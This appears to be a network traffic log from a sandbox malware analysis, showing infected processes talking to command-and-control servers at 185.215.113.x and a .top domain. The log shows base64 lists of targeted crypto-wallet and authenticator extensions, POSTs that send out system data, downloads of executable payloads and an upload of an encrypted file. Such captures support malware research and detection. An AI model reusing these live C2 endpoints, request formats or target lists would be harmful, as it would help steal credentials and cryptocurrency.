Nov 20, 2024 04:08:28.140568972 CET	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Nov 20, 2024 04:08:28.140604973 CET	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Nov 20, 2024 04:08:28.140640974 CET	1236	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Nov 20, 2024 04:08:28.140677929 CET	716	IN	Data Raw: 61 48 4a 76 62 57 6c 31 62 58 78 6a 61 57 39 71 62 32 4e 77 61 32 4e 73 5a 6d 5a 73 62 32 31 69 59 6d 4e 6d 61 57 64 6a 61 57 70 71 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 Data Ascii: aHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJ
Nov 20, 2024 04:08:28.142678976 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIEHCFIECBGCBFHIJJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 63 33 32 31 62 32 38 31 62 61 32 30 66 31 33 64 64 37 66 34 31 31 37 61 62 30 37 65 62 34 34 33 37 64 34 36 66 37 61 63 39 33 38 33 31 64 38 33 34 39 31 62 31 35 36 39 30 38 37 66 37 32 65 33 32 37 65 36 34 66 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 48 43 46 49 45 43 42 47 43 42 46 48 49 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="token"5bc321b281ba20f13dd7f4117ab07eb4437d46f7ac93831d83491b1569087f72e327e64f------CFIEHCFIECBGCBFHIJJKContent-Disposition: form-data; name="message"fplugins------CFIEHCFIECBGCBFHIJJK--
Nov 20, 2024 04:08:28.366614103 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 04:08:28.400374889 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBF Host: 185.215.113.206 Content-Length: 5823 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 04:08:28.400374889 CET	1236	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 47 43 47 49 45 47 43 42 46 48 49 49 45 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 63 33 32 31 Data Ascii: ------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="token"5bc321b281ba20f13dd7f4117ab07eb4437d46f7ac93831d83491b1569087f72e327e64f------ECBGCGCGIEGCBFHIIEBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 04:08:28.400434017 CET	4587	OUT	Data Raw: 43 42 46 5a 47 64 6c 49 46 56 77 5a 47 46 30 5a 53 41 74 49 44 45 75 4d 79 34 78 4e 7a 63 75 4d 54 45 4b 43 55 31 70 59 33 4a 76 63 32 39 6d 64 43 42 46 5a 47 64 6c 49 46 64 6c 59 6c 5a 70 5a 58 63 79 49 46 4a 31 62 6e 52 70 62 57 55 67 4c 53 41 Data Ascii: CBFZGdlIFVwZGF0ZSAtIDEuMy4xNzcuMTEKCU1pY3Jvc29mdCBFZGdlIFdlYlZpZXcyIFJ1bnRpbWUgLSAxMTcuMC4yMDQ1LjQ3CglKYXZhIEF1dG8gVXBkYXRlciAtIDIuOC4zODEuOQoJSmF2YSA4IFVwZGF0ZSAzODEgLSA4LjAuMzgxMC45CglNaWNyb3NvZnQgVmlzdWFsIEMrKyAyMDE1LTIwMjIgUmVkaXN0cmlidXRh
Nov 20, 2024 04:08:29.256344080 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 04:08:29.644079924 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 04:08:29.875122070 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 04:08:29.875159979 CET	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	62549	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:26.763712883 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 35 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007565001&unit=246122658369
Nov 20, 2024 04:08:27.458296061 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	62554	185.215.113.16	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:27.466326952 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 04:08:28.165409088 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:28 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Wed, 20 Nov 2024 02:16:34 GMT Connection: keep-alive ETag: "673d4682-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7a 46 3d 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELzF=g"bw@pg@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 20, 2024 04:08:28.165462971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Nov 20, 2024 04:08:28.165502071 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Nov 20, 2024 04:08:28.165539026 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Nov 20, 2024 04:08:28.165575027 CET	896	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Nov 20, 2024 04:08:28.165611029 CET	1236	IN	Data Raw: ad 00 00 8d 4d d8 e8 d0 ad 00 00 5f 5e 5b c9 c2 08 00 49 eb 97 41 eb 94 55 8b ec 81 ec b4 00 00 00 53 56 33 f6 c7 85 50 ff ff ff 7f 00 00 00 46 33 c9 8b c1 89 75 98 8b d1 89 4d f4 8b d9 89 4d e0 57 89 4d b4 8b f9 89 55 f8 89 5d fc 89 4d f0 89 4d Data Ascii: M_^[IAUSV3PF3uMMWMU]MMMMEEfMTEXf\MEEfM`EdfhlEpftxE\|fMMEEfM,Ff9Xu]u}!
Nov 20, 2024 04:08:28.165663958 CET	1236	IN	Data Raw: ff 83 7d f0 00 8b 55 f8 8b 5d fc 0f 85 1b fc ff ff 85 d2 0f 85 13 fc ff ff 85 db 0f 85 0b fc ff ff e9 2f 03 04 00 8b 45 f0 48 4f 83 bd 78 ff ff ff 00 89 45 f0 0f 84 97 00 00 00 80 7d 81 00 8b 45 c8 0f 85 8f 00 00 00 8b 18 8d 8d 78 ff ff ff e8 f4 Data Ascii: }U]/EHOxE}Ex\|EEx;Vh6AjYf9HUJO`UtFiEu?`dUEx;_Vjx]@i]@I2#@"*D
Nov 20, 2024 04:08:28.165699959 CET	1236	IN	Data Raw: f8 c3 49 00 8d 4c 24 28 e8 15 6d 00 00 5f 5e 5b 8b e5 5d c2 04 00 55 8b ec 83 ec 34 53 56 57 6a 0f ff 15 3c c7 49 00 68 00 7f 00 00 6a 00 8b d8 ff 15 38 c7 49 00 8b 35 34 c7 49 00 8b f8 6a 63 ff 35 58 13 4d 00 ff d6 68 a4 00 00 00 ff 35 58 13 4d Data Ascii: IL$(m_^[]U4SVWj<Ihj8I54Ijc5XMh5XMMh5XMM3MVjjjjc5XMIXMMEEPME0E#uuM}]uEIUEV1@0I5MfTM5MQv_^
Nov 20, 2024 04:08:28.165735960 CET	1236	IN	Data Raw: 6a 01 50 57 e8 66 40 00 00 83 c4 10 8d 4d d0 e8 4b 9f 00 00 8d 45 f0 50 8d 4d 90 e8 23 00 00 00 3b de 7c cb 8d 4d f0 e8 22 68 00 00 8d 4d c0 e8 2b 9f 00 00 8d 4d 90 e8 40 00 00 00 5f 5e 5b c9 c2 08 00 55 8b ec 8b 11 3b 51 1c 7d 1e 8d 42 01 89 01 Data Ascii: jPWf@MKEPM#;\|M"hM+M@_^[U;Q}BAM;t4!x]MhI:2VWw7'G$4I7v-YO_^gU=hMtP3hPhMTPMLH
Nov 20, 2024 04:08:28.165776968 CET	1236	IN	Data Raw: 24 28 e8 3e 05 00 00 8d 54 24 28 8b ca e8 30 fe ff ff 68 28 cb 49 00 8d 4c 24 2c e8 91 fe ff ff 8d 44 24 28 b9 c8 23 4d 00 50 e8 1b 1c 00 00 8d 4c 24 18 e8 14 74 00 00 8d 4c 24 18 e8 6d 71 00 00 8d 44 24 10 33 f6 50 6a 01 56 68 f4 ca 49 00 68 01 Data Ascii: $(>T$(0h(IL$,D$(#MPL$tL$mqD$3PjVhIhIL$cL$(c_^#M[]UVWMsMU39w +EPOEEPO(w NMb_^USVj[F9Fu0
Nov 20, 2024 04:08:28.171098948 CET	1236	IN	Data Raw: 24 18 50 8d 84 24 34 01 00 00 50 e8 8a 0f 02 00 59 59 8d 84 24 18 01 00 00 50 56 ff 15 d0 c4 49 00 8d 4c 24 08 e8 7c 5e 00 00 5e 8b e5 5d c3 55 8b ec 56 8b 75 08 57 8b f9 85 f6 74 15 8d 46 ff 50 52 57 e8 ba 98 02 00 83 c4 0c 33 c0 66 89 44 77 fe Data Ascii: $P$4PYY$PVIL$\|^^]UVuWtFPRW3fDw_^]UQM;sH]PUVhPjIPM&bMM]^UVjPh1hItP}0hh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	62579	185.215.113.43	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:31.380237103 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 35 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007566001&unit=246122658369
Nov 20, 2024 04:08:32.055041075 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	62581	34.116.198.130	80	3736	C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:31.594573021 CET	644	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------0PYLDlF3xJh4zkHl4ONzFX Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 30 50 59 4c 44 6c 46 33 78 4a 68 34 7a 6b 48 6c 34 4f 4e 7a 46 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 75 74 6f 73 75 79 6f 67 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 6f 78 bd 6e cf d2 85 59 14 3e 18 ef bb be d5 b9 1f 28 60 d0 63 1e 01 c6 b6 2a 0c 7c 4b d0 d3 8d 61 98 7e 48 8a 50 fe 43 7b a5 29 de 2e 14 33 4b 57 1f 40 a1 92 20 56 ae 43 55 3a 81 cb 69 a5 7f 92 4a 07 b0 a4 6f 53 ca 4e 21 67 af 6c 45 8a d2 55 09 98 49 95 e7 56 3c 8c 79 56 83 b8 f4 ff 68 b0 4c 81 43 6e e5 b0 88 bd dd 07 1a 60 d5 a5 02 80 53 89 ed 43 a6 7d 8d 0b 29 91 ea 91 c8 2a 7f 0f 0c b7 91 13 1c ab 5c af 83 e6 e4 23 b7 65 ec 09 50 40 b8 86 b8 ad 7b 27 42 56 f5 c4 99 3b e9 c7 da 79 55 2f df b9 52 aa 19 ce 58 ff 8f a4 [TRUNCATED] Data Ascii: --------------------------0PYLDlF3xJh4zkHl4ONzFXContent-Disposition: form-data; name="file"; filename="Yutosuyog.bin"Content-Type: application/octet-streamoxnY>(`c\|Ka~HPC{).3KW@ VCU:iJoSN!glEUIV<yVhLCn`SC})\#eP@{'BV;yU/RX).+FPb-i7\o:gMTQSPq--------------------------0PYLDlF3xJh4zkHl4ONzFX--
Nov 20, 2024 04:08:32.323267937 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Wed, 20 Nov 2024 03:08:32 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	62582	185.215.113.16	80	8168	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 04:08:32.230479956 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 04:08:32.865394115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 03:08:32 GMT Content-Type: application/octet-stream Content-Length: 2847744 Last-Modified: Wed, 20 Nov 2024 02:17:01 GMT Connection: keep-alive ETag: "673d469d-2b7400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 1f 25 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,%,`Ui` @ @.rsrc`2@.idata 8@jwaseymg ++:@reksrrmv +N+@.taggant@+"R+@
Nov 20, 2024 04:08:32.865420103 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:32.865556002 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:32.865585089 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:32.865600109 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:32.865616083 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:32.865879059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 04:08:32.865892887 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
